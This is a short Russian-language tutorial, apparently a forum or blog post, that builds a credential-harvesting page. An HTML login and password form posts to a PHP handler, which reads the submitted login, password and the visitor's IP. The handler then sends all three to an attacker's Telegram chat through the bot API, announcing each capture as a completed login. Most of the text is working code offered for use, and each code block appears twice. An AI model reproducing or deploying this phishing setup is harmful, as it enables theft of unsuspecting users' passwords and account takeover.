1.Создаем файл с расширением .html, в моем случае он главный, поэтому назову его index.html. <!DOCTYPE HTML> <head> <title>Тест. Отправка ***** в телеграм</title> </head> <body> <center> <form method="post" action="main.php"> <input type="text" name="login" placeholder="Логин"> <br> <input type="password" name="pass" placeholder="Пароль"> <br> <input type="submit" value="Отправить"> </form> </center> </body> HTML <!DOCTYPE HTML> <head> <title>Тест. Отправка ***** в телеграм</title> </head> <body> <center> <form method="post" action="main.php"> <input type="text" name="login" placeholder="Логин"> <br> <input type="password" name="pass" placeholder="Пароль"> <br> <input type="submit" value="Отправить"> </form> </center> </body> В нем находится форма с двумя инпутами (дефолт, логин-пароль). Отправка в обработчик идёт методом POST, а сам файл обработчика я назвал main.php. На выходе у вас получится точно так же 2. В файле обработчике заявим все переменные, а именно: логин, пароль, ip адрес, токен, чат ид(в моем случае ник канала) <?php $login = $_POST['login']; $pass = $_POST['pass']; $ip = $_SERVER['REMOTE_ADDR']; $token = 'токен'; $chatid = '@чат'; $send = file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chatid}&parse_mode=html&text=Был выполнен вход!%0AЛогин: {$login}%0AПароль: {$pass}%0AIP: {$ip}"); ?> PHP <?php $login = $_POST['login']; $pass = $_POST['pass']; $ip = $_SERVER['REMOTE_ADDR']; $token = 'токен'; $chatid = '@чат'; $send = file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chatid}&parse_mode=html&text=Был выполнен вход!%0AЛогин: {$login}%0AПароль: {$pass}%0AIP: {$ip}"); ?> Как вы уже заметили все строиться на одной лишь ссылке, в которой и находятся все переменные.